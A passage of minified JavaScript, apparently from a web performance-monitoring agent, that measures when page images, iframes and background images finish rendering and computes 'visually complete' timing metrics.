0:q.timeOrigin)||(null===q||void 0===q?void 0:q.timing.navigationStart))&&W.dT_.aBPSL(L),!0):!1})(!1)&&(Zb.tpih=ia,Zb.tpstr=H,Zb.tpsto=Q)})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(){La=Object.assign||function(u){for(var E,N=1,ha=arguments.length;N<ha;N++){E=arguments[N];for(var sa in E)Object.prototype.hasOwnProperty.call(E,sa)&&(u[sa]=E[sa])}return u};return La.apply(this,arguments)}function gb(u,E){void 0===E&&(E=[]);var N=oc.dT_;N=(null===N||void 0===N?0:N.iIO)?N.iIO:null;return!(null===N||void 0=== N||!N(u,E))}function db(u){return u&&"IFRAME"===u.nodeName}function Ea(u){return u&&"IMG"===u.nodeName}function Ua(u,E,N,ha){function sa(Ia){return Ia instanceof N?Ia:new N(function(bb){bb(Ia)})}return new (N||(N=ra))(function(Ia,bb){function cb(fc){try{Ib(ha.next(fc))}catch(Ec){bb(Ec)}}function Fb(fc){try{Ib(ha["throw"](fc))}catch(Ec){bb(Ec)}}function Ib(fc){fc.done?Ia(fc.value):sa(fc.value).then(cb,Fb)}Ib((ha=ha.apply(u,E||[])).next())})}function Pa(u,E){function N(Ib){return function(fc){return ha([Ib, fc])}}function ha(Ib){if(Ia)throw new TypeError("Generator is already executing.");for(;sa;)try{if(Ia=1,bb&&(cb=Ib[0]&2?bb["return"]:Ib[0]?bb["throw"]||((cb=bb["return"])&&cb.call(bb),0):bb.next)&&!(cb=cb.call(bb,Ib[1])).done)return cb;if(bb=0,cb)Ib=[Ib[0]&2,cb.value];switch(Ib[0]){case 0:case 1:cb=Ib;break;case 4:return sa.label++,{value:Ib[1],done:!1};case 5:sa.label++;bb=Ib[1];Ib=[0];continue;case 7:Ib=sa.Ja.pop();sa.ia.pop();continue;default:if(!(cb=sa.ia,cb=0<cb.length&&cb[cb.length-1])&&(6=== Ib[0]||2===Ib[0])){sa=0;continue}if(3===Ib[0]&&(!cb||Ib[1]>cb[0]&&Ib[1]<cb[3]))sa.label=Ib[1];else if(6===Ib[0]&&sa.label<cb[1])sa.label=cb[1],cb=Ib;else if(cb&&sa.label<cb[2])sa.label=cb[2],sa.Ja.push(Ib);else{cb[2]&&sa.Ja.pop();sa.ia.pop();continue}}Ib=E.call(u,sa)}catch(fc){Ib=[6,fc],bb=0}finally{Ia=cb=0}if(Ib[0]&5)throw Ib[1];return{value:Ib[0]?Ib[1]:void 0,done:!0}}var sa={label:0,J:function(){if(cb[0]&1)throw cb[1];return cb[1]},ia:[],Ja:[]},Ia,bb,cb,Fb;return Fb={next:N(0),"throw":N(1),"return":N(2)}, "function"===typeof Symbol&&(Fb[Symbol.iterator]=function(){return this}),Fb}function za(u){return jd&&gb(u,13)&&"navigation"!==u.entryType||gb(u,["_dtCl"])}function ab(){return Se}function ba(u,E,N){if(!ke[N]){var ha=new Image;E={url:N,time:Na.dT_.nw(),element:ha,Tj:E};ta(ha,E,u);ha.src=N;ke[N]=ha}return ke[N]}function Z(u,E,N){var ha=Wc[E][N]||[];if(u.element){var sa=Na.dT_.aFI(ha,function(Ia){return Ia.element===u.element});0<=sa&&ha.splice(sa,1)}Aa(u,E,N)}function Aa(u,E,N){Wc[E][N]||(Wc[E][N]= []);Wc[E][N].push(u)}function na(u,E,N){E=Wc[E][N]||[];u=Na.dT_.aIOf(E,u);0<=u&&E.splice(u,1)}function ta(u,E,N){function ha(){na(E,2,N);Z(E,1,N);var Ia=ha;u.removeEventListener("load",sa);u.removeEventListener("error",Ia)}function sa(){na(E,2,N);var Ia=ha;u.removeEventListener("load",sa);u.removeEventListener("error",Ia)}Aa(E,2,N);u.addEventListener("load",sa);u.addEventListener("error",ha)}function Ma(){}function Ja(u){return 0<u.left+u.width&&u.left<va()&&0<u.top+u.height&&u.top<S()}function fa(u, E,N){E=N||E.tagName||E.nodeName;return u&&0<u.width&&0<u.height&&Ja(u)&&"BODY"!==E}function S(){Rd||(Rd=oc.innerHeight||Bd.clientHeight);return Pd.bwsH||Rd}function va(){Xe||(Xe=oc.innerWidth||Bd.clientWidth);return Pd.bwsW||Xe}function ja(u){var E=va(),N=S();return{top:0,left:0,width:Math.max(0,Math.min(u.left+u.width,E))-Math.max(0,Math.min(u.left,E)),height:Math.max(0,Math.min(u.top+u.height,N))-Math.max(0,Math.min(u.top,N))}}function U(u,E,N){if(!N&&eb(u))return!0;u=N||qa(E);(E="hidden"===u.visibility|| "none"===u.display||"0"===u.opacity||"polygon(0px 0px, 0px 0px, 0px 0px, 0px 0px)"===u.clipPath)||(E=u.transform||"",u=!1,N=E.indexOf("("),0<N&&(E=E.substring(N+1,E.length-1).split(", "),u="0"===E[0],6===E.length?u=u||"0"===E[3]:16===E.length&&(u=u||"0"===E[5]||"0"===E[10])),E=u);return E}function eb(u){if(0<dc&&u.ue>=dc)return u.ve++,!0;u.ue++;return!1}function L(u){return Math.ceil(u.width*u.height)}function C(u,E,N,ha,sa,Ia){var bb;void 0===Ia&&(Ia="");try{if(!ha&&(ha=H(E,u.cb,sa),!fa(ha,E)))return null; sa=ha;var cb=(bb={},bb.url=Ia,bb.time=0,bb.node=E,bb.v=!U(u,E,N),bb.area=L(ja(sa)),bb.offset={top:sa.top,left:sa.left,width:sa.width,height:sa.height},bb.is=0,bb),Fb=Na.dT_.tau(Ia);(u=wb)&&u.test(Fb)&&(cb.is=2);return cb}catch(Ib){}return null}function H(u,E,N){void 0===E&&(E=new WeakMap);var ha=Na.dT_.gFId();var sa=E;E=sa.get(u);E||(E={},sa.set(u,E));if(E[ha])ha=E[ha];else{sa=oc.pageYOffset;var Ia=u.clientTop,bb=oc.pageXOffset,cb=u.clientLeft,Fb=0,Ib=0;V(u)&&(Fb=u.offsetWidth,Ib=u.offsetHeight); Fb={top:0,left:0,offsetWidth:Fb,offsetHeight:Ib,clientWidth:u.clientWidth,clientHeight:u.clientHeight};if("function"===typeof u.getBoundingClientRect)try{var fc=u.getBoundingClientRect(),Ec=fc.left;Fb.top=fc.top+sa-Ia;Fb.left=Ec+bb-cb}catch(ld){}ha=E[ha]=Fb}fc=ha.top;Ec=ha.left;N&&(fc+=N.top,Ec+=N.left);N={top:fc,left:Ec,width:ha.clientWidth,height:ha.clientHeight};V(u)&&(N.width=ha.offsetWidth,N.height=ha.offsetHeight);return N}function Q(u){return u.area>rb&&u.v&&0===u.is&&0<u.time}function ia(u, E){for(var N=0;N<E.length;N++){var ha=E[N],sa=0,Ia=ha===u?2:0;Q(ha)&&(Ia=Math.max(Ia,1));0===Ia&&(sa=0,ha.v||(sa+=1),ha.area>rb||(sa+=2),0!==ha.is&&(sa+=4));ha.relevance=Ia;ha.ireason=sa}}function W(u){if(u.length)return Na.dT_.red(u,function(E,N){return Q(N)&&(!E||E.time<=N.time)?N:E},void 0)}function la(){var u=Na.dT_.bcv,E=Na.dT_.scv,N=Na.dT_.ncv,ha=Na.dT_.de(E("iub"));try{ha&&(wb=new RegExp(ha,"i"))}catch(sa){}pc=u("vcfi");Sc=N("vcx");ed=N("tvc");$b=E("uana");Ac=Na.dT_.puesc(E("mb"));Ic=N("vcit"); Nc=1E3*Math.max(0,N("oat")-5);qd=u("fvdi");dc=N("vscl");rb=N("vct");ad=u("ccNcss");Lc=u("vrt")}function ua(u){for(var E=0;E<Te.length;E++)if(Te[E]===u){Te.splice(E,1);break}}function Ka(u){for(var E=Te.slice(),N=Te.length=0;N<E.length;N++)(0,E[N])(u)}function Hb(u){return!!u&&"about:blank"!==u&&u!==location.href&&u!==location.href.substring(0,location.href.lastIndexOf("/")+1)}function ib(u){try{return!!u.contentWindow&&!Na.dT_.gNNTV(u.contentWindow.performance,"loadEventEnd")}catch(E){return!1}}function aa(u){return!!u.area} function qa(u,E){void 0===E&&(E=oc);return E.getComputedStyle(u)}function V(u){var E=ye.get(u);if(E)return E;E=(gb(u,9)||u&&u.nodeType&&1===u.nodeType)&&("string"===typeof u.textContent||"string"===typeof u.innerText);ye.set(u,E);return E}function pa(u){var E=Na.dT_.gNTO(u);return function(N,ha){var sa=ha.duration,Ia=E+ha.startTime+sa;!sa&&za(ha)&&(Ia=E+ha.responseEnd);return Math.max(N,Ia)}}function Va(u,E,N){if(u){var ha;var sa=(ha={},ha.time=u.time,ha.offset=u.offset,ha.area=u.area,ha.url=u.url, ha.v=u.v,ha.node=u.node,ha.is=0,ha);sa.v&&(sa.v=E);N.push(sa)}}function nb(u,E,N,ha,sa,Ia,bb){return Ua(this,void 0,void 0,function(){var cb,Fb;return Pa(this,function(Ib){switch(Ib.label){case 0:return(cb=C(u,E,N,ha))&&E.contentWindow?[4,ka(u,E.contentWindow,cb.offset,void 0,sa)]:[3,2];case 1:Fb=Ib.J(),Na.dT_.fE(Fb,function(fc){fc.v=fc.v&&Ia;bb.push(fc)}),Ib.label=2;case 2:return[2]}})})}function lb(u,E,N){var ha=u.gLVD();return ha?(Va(ha.k,E,N),ra.resolve()):new ra(function(sa){u.addE("VISUALLY_COMPLETE", function(Ia){Va(Ia.detail.k,E,N);sa()})})}function jb(u,E,N,ha,sa,Ia,bb){void 0===bb&&(bb=!1);return new ra(function(cb,Fb){var Ib=!1,fc;eb(u)||(fc=qa(E,N));var Ec=fc&&fc.backgroundImage;if(Ec&&"none"!==Ec){var ld=0;for(Ec=Ec.split(",").map($a).filter(Oa);ld<Ec.length;ld++){var fd=Ec[ld];(fd=C(u,E,fc,Ia,ha,Na.dT_.tau(fd)))&&sa.push(fd)}}if(db(E)){var hd=E.contentWindow;Ib=function(){var od=fc,we=bb,ce;try{if(hd&&hd.dT_){var Xd=hd.dT_;Xd&&"ea"in Xd&&(ce=Xd)}}catch(Hd){}Xd=!U(u,E)&&Ja(Ia);(ce&&ce.gLVD? lb(ce,Xd,sa):nb(u,E,od,Ia,we,Xd,sa)).then(cb)["catch"](Fb)};!bb&&ib(E)?(E.addEventListener("load",Ib),E.addEventListener("error",Ib)):Ib();Ib=!0}Ea(E)&&(fd=I(E))&&(ld=C(u,E,fc,Ia,ha,fd))&&sa.push(ld);Ib||cb()})}function Ab(u,E,N,ha,sa,Ia){void 0===Ia&&(Ia=!1);return Ua(this,void 0,void 0,function(){var bb,cb;return Pa(this,function(Fb){switch(Fb.label){case 0:return Fb.ia.push([0,6,,7]),bb=H(E,u.cb),cb=N.getComputedStyle(E),(V(E)?E.offsetWidth*E.offsetHeight>rb:E.clientWidth*E.clientHeight>rb)?fa(bb, E)?[4,jb(u,E,N,ha,sa,bb,Ia)]:[3,2]:[3,3];case 1:Fb.J(),Fb.label=2;case 2:return[3,5];case 3:return Na.dT_.iIO(E,10)||cb.backgroundImage&&"none"!==cb.backgroundImage?[4,jb(u,E,N,ha,sa,bb,Ia)]:[3,5];case 4:Fb.J(),Fb.label=5;case 5:return[3,7];case 6:return Fb.J(),[3,7];case 7:return[2]}})})}function gc(u){return bc?Ha(1,u).concat(Ha(2,u)):[]}function Vb(u){return function(E){var N=Na.dT_.gto(),ha=E.time-N;N=(E.endTime||E.time)-N;return{name:E.url,failedResource:u,startTime:ha,responseEnd:N,duration:N- ha,_dtCl:!0}}}function Ha(u,E){var N=Na.dT_.aM(Wc[u][E]||[],Vb(u));E?delete Wc[u][E]:Wc[u]={};return N}function yb(u){return!u.time}function vb(u,E,N){u=u.getEntriesByName(N.url,"resource")[0];za(u)?N.time=Math.round(E+u.responseEnd):N.time=0}function ca(u,E){var N=null,ha=0;try{N=E.performance,ha=Na.dT_.gNTO(N)}catch(sa){}N&&u.filter(yb).forEach(vb.bind(null,N,ha))}function Oa(u){return!(!u||0!==u.indexOf("http"))}function Za(u,E){return"loading"in HTMLImageElement.prototype&&"lazy"===u.getAttribute("loading")&& !Ja(H(u,E))}function I(u){try{if(u.srcset)return u.currentSrc;var E=u.parentElement;if(E&&"PICTURE"===E.nodeName)for(var N=0;N<E.children.length;N++)if("SOURCE"===E.children[N].tagName)return u.currentSrc;return u.currentSrc||u.src}catch(sa){try{var ha=u.getAttribute("src");return ha?Na.dT_.tau(ha):""}catch(Ia){return""}}}function ka(u,E,N,ha,sa){void 0===sa&&(sa=!1);return Ua(this,void 0,void 0,function(){var Ia,bb;return Pa(this,function(cb){switch(cb.label){case 0:Ia=[];try{bb=(ha||E.document).getElementsByTagName("*")}catch(Fb){return[2, Ia]}return[4,Na.dT_.fEP(bb,function(Fb,Ib,fc,Ec){Ab(u,Fb,E,N,Ia,sa).then(Ec)["catch"](Ma)},void 0,!(ic.syn||sa))];case 1:return cb.J(),ca(Ia,E),[2,Ia]}})})}function Ba(u,E,N,ha){var sa={uf:[],style:void 0};if(!N&&!ad||eb(ha))return sa;N=qa(u);if(!N)return sa;sa.style=N;(N=N.backgroundImage)&&"none"!==N&&(sa.uf=N.split(",").map($a).filter(Oa).filter(Hb).map(ba.bind(null,E,u)));return sa}function $a(u){void 0===u&&(u="");zd.lastIndex=0;return(u=zd.exec(u))&&1<u.length?u[1]||u[2]||u[3]:""}function Cb(u, E,N,ha){if(pc&&!u.dT_vcInstr&&!Za(u,ha.cb))if(Ea(u)){if(N=I(u),Hb(N)&&Oa(N)){N={url:N,time:Na.dT_.nw(),element:u};u.dT_vcInstr=!0;a:if(!u.complete||u.naturalWidth||Na.dT_.gBI().ie)ha=u.complete?"SUCCESSFUL":"PENDING";else{if(Na.dT_.gBI().ff){var sa=ha=I(u),Ia=ha.indexOf("?");0<=Ia&&(sa=ha.substring(0,Ia));if(sa.lastIndexOf(".svg")===sa.length-4){ha="UNKNOWN";break a}}ha="FAILED"}switch(ha){case "FAILED":Z(N,1,E);break;case "PENDING":ta(u,N,E)}}}else V(u)&&Ba(u,E,N,ha)}function bd(u,E,N,ha){var sa= E.contentWindow;if(!sa)return ra.resolve();try{var Ia=sa.dT_}catch(cb){}var bb=!U(u,E)&&Ja(ha);return Ia&&Ia.gLVD?lb(Ia,bb,u.ya):ka(u,sa,N).then(function(cb){var Fb;(Fb=u.ya).push.apply(Fb,cb.map(function(Ib){var fc;return La(La({},Ib),(fc={},fc.v=Ib.v&&bb,fc))}))})}function Qb(){Ka("f");return af}function Zb(){var u=ic;u.gUI=gc;u.vWW=va;u.vWH=S;u.gVCP=Qb;u.gLVD=ab}function q(u){for(var E=0,N=0,ha=0,sa=Na.dT_.red(u,function(cb,Fb){return cb+Fb.Ud},0),Ia=0;Ia<u.length;Ia++){var bb=u[Ia];N=bb.time- N;0<N&&1>ha&&(E+=(1-ha)*N);ha+=bb.Ud/sa;N=bb.time}return Math.round(E)}function D(u,E,N){var ha=[],sa;for(sa in u)if(Na.dT_.oHOP(u,sa)){var Ia=u[sa].Ub;ha.push({time:Number(sa)-N,Ud:Ia/E,Ub:Ia})}ha.sort(function(bb,cb){return bb.time-cb.time});return ha}function t(u){return u.v}function y(u,E){var N,ha=E.time;E=E.area;null!==(N=u[ha])&&void 0!==N?N:u[ha]={Ub:0,Ud:0,time:0};u[ha].Ub+=E;return u}function Y(u){u.Bb--;O(u)}function x(u,E){var N=-1;if(E){N=Math;var ha=E.time;N=N.round.call(N,0>ha?-1:ha- u.ub);N>Nc&&(u.trigger="t",N=-2);var sa=E.node;if(sa){ha=E.area;var Ia={left:NaN,top:NaN};try{Ia=sa.getBoundingClientRect()}catch(Ib){}var bb=$b.split(",");ha={location:{x:Math.ceil(Ia.left),y:Math.ceil(Ia.top)},size:Math.ceil(ha),hj:sa.getAttribute("class"),id:sa.getAttribute("id"),name:sa.getAttribute("name"),tagName:sa.tagName,Wg:Na.dT_.gecsss(sa)};for(Ia=0;Ia<bb.length;Ia++){var cb=bb[Ia],Fb=sa.getAttribute(cb);if(Fb){ha.Qh={key:cb,value:Fb};break}}ha?(sa=ha.Qh,cb=ha.location,Fb=ha.size,bb=ha.tagName, Ia=ha.Wg,ha=Na.dT_.aesc(ha.name||""),cb=[cb.x,cb.y,Fb],ha&&cb.push("n;".concat(ha)),sa&&cb.push("u;".concat(Na.dT_.aesc(sa.key),",").concat(Na.dT_.aesc(sa.value))),Ia?cb.push("s;".concat(Na.dT_.aesc(Ia))):cb.push("t;".concat(Na.dT_.aesc(bb))),ha=cb.join("|")):ha="";E.kd=ha}u.mh&&(bc=!0)}return N}function oa(u,E,N){var ha=Na.dT_.nw()-E.vf,sa=Na.dT_.nw(),Ia=E.ya.filter(aa);var bb=E.ub;Na.dT_.nw();for(var cb=Ia.length-1;0<cb;cb--)for(var Fb=Ia[cb],Ib=cb-1;0<=Ib;Ib--){var fc=Ia[Ib],Ec=fc.area,ld=Fb.area; if(ld&&Ec&&2500<Ec){var fd=Fb.offset,hd=fc.offset,od=ne(fd.top,hd.top),we=ne(fd.left,hd.left),ce=ze(fd.left+fd.width,hd.left+hd.width);fd=ze(fd.top+fd.height,hd.top+hd.height);we=ne(0,ce-we);od=ne(0,fd-od);fc.area=ne(0,Ec-ze(Math.round(we*od),ld))}}Ia=Ia.filter(t).reduce(y,{});bb=D(Ia,va()*S(),bb);vd=q(bb);vd>u&&(vd=u);Na.dT_.nw();bb=vd;sa=Na.dT_.nw()-sa;u=[["V",u+"|"+E.trigger],["VCD",String(ha)],["VCDS",String(sa)],["VCS",String(E.vf-E.ub)],["VCO",String(E.eg-E.ub)],["VCI",String(E.ve)]];(N=(null=== N||void 0===N?void 0:N.kd)||"")&&Na.dT_.apush(u,["VE",N]);Na.dT_.apush(u,["S",String(0<=bb?bb:-1)]);Na.dT_.cAE("_vc_",u,E.G,E.ub)}function R(u){var E,N,ha;"n"===u.trigger&&(u.trigger=u.lb?"f":"c");u.ya.sort(function(cb,Fb){return cb.time-Fb.time});var sa=W(u.ya),Ia=x(u,sa);oa(Ia,u,sa);ia(sa,u.ya);af=Ia;var bb=(E={},E.t=u.trigger,E.k=sa,E.v=Ia,E);Se=bb;Na.dT_.disE((N={},N.kind="VISUALLY_COMPLETE",N.detail=La(La({},bb),(ha={},ha.a=u.G,ha.e=u.ya,ha)),N));sa&&(sa.node=null);u.ya=[];ua(u.Kf);u.Sf=!0;u.Ch(-1< Ia?u.ub+Ia:-1)}function O(u){var E=u.Gf===u.If,N=!u.Bb;E&&N&&u.ra&&(Na.dT_.ct(u.ra),u.ra=0);!u.Sf&&N&&(!u.Hc.length&&E||u.lb)&&R(u)}function wa(){var u=!1;pc&&Na.dT_.addE("INSTRUMENTATION_TRIGGERED",function(){if(!u){u=!0;for(var E=Na.dT_.gEBTN("*"),N={ue:0,ve:0,cb:new WeakMap},ha=0;ha<E.length;ha++)Cb(E[ha],Na.dT_.lAID(),!0,N)}})}function Ga(){var u;ye=new WeakMap;wa();He=!(null===(u=document.body)||void 0===u||!u.childElementCount);Na.dT_.las()||Na.dT_.aMO(Na.dT_.lAID());Na.dT_.addE("ACTION_ENTERED", function(E){Na.dT_.aMO(E.detail.i);E.detail.i===E.detail.r&&Ka("u")});Na.dT_.addE("ACTION_CLOSED",function(E){E=E.detail;var N=E.i,ha=E.r,sa=E.f,Ia=E.a;if(E.dne)Na.dT_.rMO(N);else{var bb=function(Ib){if("u"!==Ib||N===Na.dT_.lAID())Na.dT_.ct(cb),Wa(N,ha===N,!0,Ia,bb,Fb,Ib)};Te.push(bb);E=Wa(N,ha===N,sa,Ia,bb);var cb=E.ra,Fb=E.Dg}});Na.dT_.addE("ACTION_BEACON_FORCED",function(){Ka(Na.dT_.las()?"l":"f")})}function Wa(u,E,N,ha,sa,Ia,bb){if(!E)return Na.dT_.rMO(u),ve;var cb=Ia||Na.dT_.aAWC(u);if(!cb)return ve; if(!N)return{ra:Na.dT_.st(function(){gd(u,cb,!1,ha,sa,bb)},Sc),Dg:cb};gd(u,cb,!0,ha,sa,bb);return ve}function Eb(u,E){return function(N){N=E+N.time;return!u||u<=N}}function Lb(u,E,N,ha,sa){var Ia=ha.push;a:{var bb;if((N||!u.wd.has(sa))&&sa.nodeType!==Node.TEXT_NODE&&V(sa)){var cb=Ba(sa,u.G,N,u),Fb=cb.uf;Ea(sa)?(Cb(sa,u.G,N,u),Fb.push(sa)):db(sa)&&Fb.push(sa);if(N=sa&&sa.nodeType&&1===sa.nodeType)try{var Ib=Ac;N=!!Ib&&sa.matches(Ib)}catch(Ec){N=!1}if(Fb.length&&!N)for(bb=0;bb<Fb.length;bb++)Sa(Fb[bb], u,E,sa,cb.style);else Fb=H(sa,u.cb),Fb=L(ja(Fb)),Kc(u,(bb={},bb.time=Math.round(E),bb.node=sa,bb.area=Fb,bb.v=!U(u,sa,cb.style),bb.url="",bb.offset={top:0,left:0,width:0,height:0},bb.is=N?1:0,bb));try{if(sa.hasChildNodes()){var fc=sa.childNodes;break a}}catch(Ec){}}fc=[]}Ia.call(ha,fc)}function Nb(u,E){return Ua(this,void 0,void 0,function(){var N,ha,sa;return Pa(this,function(Ia){switch(Ia.label){case 0:return N=!E.lb,ha=Na.dT_.gXACT(E.G)[0],sa=u,ha?[4,Na.dT_.fP(u,Eb(ha,Na.dT_.gto()),N)]:[3,2];case 1:sa= Ia.J(),Ia.label=2;case 2:return[4,Na.dT_.fEP(sa,function(bb,cb,Fb,Ib){var fc=[],Ec=bb.time;Na.dT_.fEP(bb.nodes,Lb.bind(null,E,Ec,!0,fc),Ec,N).then(function(){return Na.dT_.fEP(fc,function(ld,fd,hd,od){Na.dT_.fEP(ld,Lb.bind(null,E,Ec,!1,fc),null,N,!0).then(od)["catch"](Ma)},null,N,!0)}).then(Ib)["catch"](Ma)},null,N,!0)];case 3:return Ia.J(),[2,E]}})})}function ac(u,E,N){Na.dT_.ct(u.Yb);Na.dT_.ct(u.Fc);Na.dT_.rMO("vc-timeout-".concat(E));u.Yb=-1;u.Fc=-1;Oc(E,N,!0)}function rc(u,E){var N={Fc:-1,Yb:-1}; N.Fc=Na.dT_.st(function(){ac(N,u,E)},ed);mc(u,E,N);Na.dT_.aMO("vc-timeout-".concat(u),function(){mc(u,E,N)});return N}function mc(u,E,N){Na.dT_.ct(N.Yb);N.Yb=Na.dT_.st(function(){ac(N,u,E)},Ic)}function Oc(u,E,N){return Ua(this,void 0,void 0,function(){var ha,sa;return Pa(this,function(Ia){switch(Ia.label){case 0:ha=Na.dT_.gMN(u);Na.dT_.rMO(u);E.eg=Na.dT_.nw();E.Bb++;if(!N||!He&&!qd)return[3,2];E.Bb++;return[4,ka(E,oc,void 0,void 0,E.lb)];case 1:return sa=Ia.J(),sa.forEach(Kc.bind(null,E)),Y(E),[3, 3];case 2:ha.length||O(E),Ia.label=3;case 3:return[4,Nb(ha,E)];case 4:return Ia.J(),Y(E),[2]}})})}function Kc(u,E){var N=E.node;if(N){if(u.wd.has(N)){(N=u.wd.get(N))&&E.time>u.ya[N].time&&(u.ya[N]=E);return}u.wd.set(N,u.ya.length)}u.ya.push(E)}function gd(u,E,N,ha,sa,Ia){void 0===Ia&&(Ia="n");ua(sa);sa=ic;sa.syn&&sa.logSynthetic("Starting vc calculation with arguments ".concat(JSON.stringify({G:u,force:N,ub:ha,trigger:Ia}),". Stack:\n").concat(Error().stack));sa=Na.dT_.lAID()===u;var bb={ub:ha,Gf:0, If:0,Bb:0,Sf:!1,vf:Na.dT_.nw(),eg:0,ra:Na.dT_.st(function(){bb.lb=!0;bb.Bb=0;O(bb)},Nc),Hc:[],Vg:[],ya:[],wd:new WeakMap,mh:sa,Ch:E,G:u,trigger:Ia,lb:N,ue:0,ve:0,cb:new WeakMap,Kf:function(Fb){if("u"!==Fb||u===Na.dT_.lAID())bb.lb=!0,bb.Bb=0,bb.trigger=Fb,0<=cb.Yb&&0<=cb.Fc&&ac(cb,u,bb),O(bb)}},cb={Yb:-1,Fc:-1};Te.push(bb.Kf);sa&&!N?cb=rc(u,bb):Oc(u,bb,sa)}function ma(u,E,N,ha,sa,Ia,bb){var cb,Fb=Na.dT_.tau(u),Ib=wb;Ib=Fb&&Ib&&Ib.test(Fb);var fc=L(ja(ha)),Ec=(cb={},cb.url=Fb,cb.time=Math.round(E), cb.node=N,cb.v=!U(sa,N,bb),cb.area=fc,cb.offset=ha,cb.is=Ib?2:0,cb);Kc(sa,Ec);ha=Ea(N);bb=db(N);u=ha&&!N.complete&&!Na.dT_.gBI().ie&&"data:"!==u.substring(0,5)||bb&&ib(N);sa.Gf++;Na.dT_.apush(sa.Hc,{name:Ec.url,startTime:E});if(!u||sa.lb||Ib)(ha||bb)&&Db(N,sa,Ec,Ia,!0);else{var ld=function(){sa.cb["delete"](N);Db(N,sa,Ec,Ia,!1);N.removeEventListener("load",ld);N.removeEventListener("error",ld)};N.addEventListener("load",ld);N.addEventListener("error",ld)}}function Ca(u){return u.currentSrc||u.getAttribute("src")|| u.getAttribute("href")||""}function Ra(u,E,N,ha,sa){var Ia,bb=wb;bb=(u=Na.dT_.tau(u))&&bb&&bb.test(u);var cb=sa===E;return Ia={},Ia.url=u,Ia.time=Math.round(N),Ia.node=E,Ia.v=!1,Ia.area=0,Ia.offset=ha,Ia.is=bb?2:0,Ia.w=cb?E.width:sa.clientWidth,Ia.h=cb?E.height:sa.clientHeight,Ia.nw=cb?E.naturalWidth:E.width,Ia.nh=cb?E.naturalHeight:E.height,Ia}function Sa(u,E,N,ha,sa){var Ia=Ca(u);if(Hb(Ia)&&!Za(u,E.cb)&&!E.Hc.some(function(cb){return cb.name===Ia})){var bb=H(ha,E.cb);Ea(u)&&!u.width||fa(bb,u)?(Ja(bb)|| Ea(u))&&ma(Ia,N,u,bb,E,ha,sa):Ea(u)&&E.ya.push(Ra(Ia,u,N,bb,ha))}}function Db(u,E,N,ha,sa){var Ia=oc.performance,bb=N.url,cb=Na.dT_.nw();(Ia=!sa&&Lc?cb:Na.dT_.red(Ia.getEntriesByName(bb,"resource"),pa(Ia),0))&&(N.time=Math.max(Math.round(Ia),N.time));sa||(N.o=cb);Ia=ja(H(ha||u,E.cb));N.area=L(Ia);N.node=ha;if(Ea(u)){var Fb=ha===u;N.w=Fb?u.width:ha.clientWidth;N.h=Fb?u.height:ha.clientHeight;N.nw=Fb?u.naturalWidth:u.width;N.nh=Fb?u.naturalHeight:u.height}E.If++;ha=Na.dT_.aFI(E.Hc,function(Ib){return Ib.name=== bb});-1!==ha&&(ha=E.Hc.splice(ha,1)[0],E.Vg.push(ha.name),sa&&E.lb&&Z({time:ha.startTime,url:ha.name,isVisible:Q(N),element:N.node,endTime:cb},2,E.G),db(u)&&(E.Bb++,bd(E,u,N.offset,Ia).then(Y.bind(null,E))["catch"](Ma)),O(E))}function Yb(u){u=u.detail;var E=u.i,N=u.a;u.r===E&&Na.dT_.cAE("_vc_",[["V","-3"],["S","-3"]],E,N)}var Na="undefined"!==typeof window?window:self,oc="undefined"!==typeof window?window:self,rb=-1,wb=null,pc=!1,Sc=-1,ed=-1,$b="",Ac="",Ic=-1,Nc=-1,qd=!1,ad=!1,dc=0,Lc=!1,jd="function"=== typeof PerformanceResourceTiming||"object"===typeof PerformanceResourceTiming,bc=!1,ic,Pd,af,Se,Qd,ke={},Wc=(Qd={},Qd[1]={},Qd[2]={},Qd),Te=[],Bd=oc.document.documentElement,Rd,Xe,ye,zd=/url\s*\(\s*(?:'(\S*?)'|"(\S*?)"|((?:\\\s|\\\)|\\"|\\'|\S)*?))\s*\)/gi,ze=Math.min,ne=Math.max,vd=-1,He,ve={ra:0,Dg:void 0};(function(u){var E,N,ha=oc.dT_;if(ha&&ha.smbi&&ha.io&&ha.iMod){ic=ha;Pd=Na.dT_.tdto();ha=Na.dT_.iMod();var sa=void 0;void 0===sa&&(sa=0);var Ia=-1;(null===ha||void 0===ha?0:ha.indexOf)&&(Ia=ha.indexOf("V", sa));ha=-1!==Ia;sa=Na.dT_.smbi("V");Ia=oc.performance;var bb=Na.dT_.bcv("dmo")&&Na.dT_.gBI().ie,cb=Pd.syn;Ia=!!oc.MutationObserver&&!(null===Ia||void 0===Ia||!Ia.getEntriesByType)&&!bb||cb;if(null===(N=(E=Na.dT_).ssmbi)||void 0===N?0:N.call(E,"V",u,Ia,sa))return ha||Na.dT_.iMod("V"),la(),Na.dT_.addE&&Na.dT_.addE("CONFIG_UPDATE",la),Ga(),!0;!sa||ha||Ia||Na.dT_.addE("ACTION_BEFORE_SEND",Yb)}return!1})(!1)&&Zb()})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(fa){function S(eb){return!(!eb||!eb[fa])}var va,ja=0;if(S(document.body))return document.body;if(S(null===(va=document.body)||void 0===va?void 0:va.firstElementChild))return document.body.firstElementChild;if("function"===typeof document.createTreeWalker&&"undefined"!==typeof NodeFilter){va=function(eb){ja++;return S(eb)||50===ja?NodeFilter.FILTER_ACCEPT: NodeFilter.FILTER_SKIP};try{var U=document.createTreeWalker(document.body,NodeFilter.SHOW_ELEMENT,{acceptNode:va}).nextNode()}catch(eb){U=document.createTreeWalker(document.body,NodeFilter.SHOW_ELEMENT,va,!1).nextNode()}return U}}function La(fa){var S;if(ab.Vue&&ab.Vue.version){var va=ab.Vue.version;"2"===va.split(".")[0]&&"__vue__"===fa&&(S=va);"3"===va.split(".")[0]&&"__vue_app__"===fa&&(S=va)}(va=ra(fa))&&va[fa]&&(za.dT_.iVRA(va,fa),S||(S=""));return S}function gb(fa){for(var S=ab,va=0;va<fa.length;va++)if(S= fa[va],"function"===typeof S)S=S.apply(this);else{var ja=S.split(".");S=ab;for(var U=0;U<ja.length&&"undefined"!==typeof S&&null!=S;U++)S=-1===ja[U].indexOf("()")?S[ja[U]]:S[ja[U].replace("()","")]();if("undefined"!==typeof S)break}return S}function db(){var fa=[],S=0,va=Array.prototype,ja=va.concat,U=[];for(Q in Ja)if(za.dT_.oHOP(Ja,Q))try{var 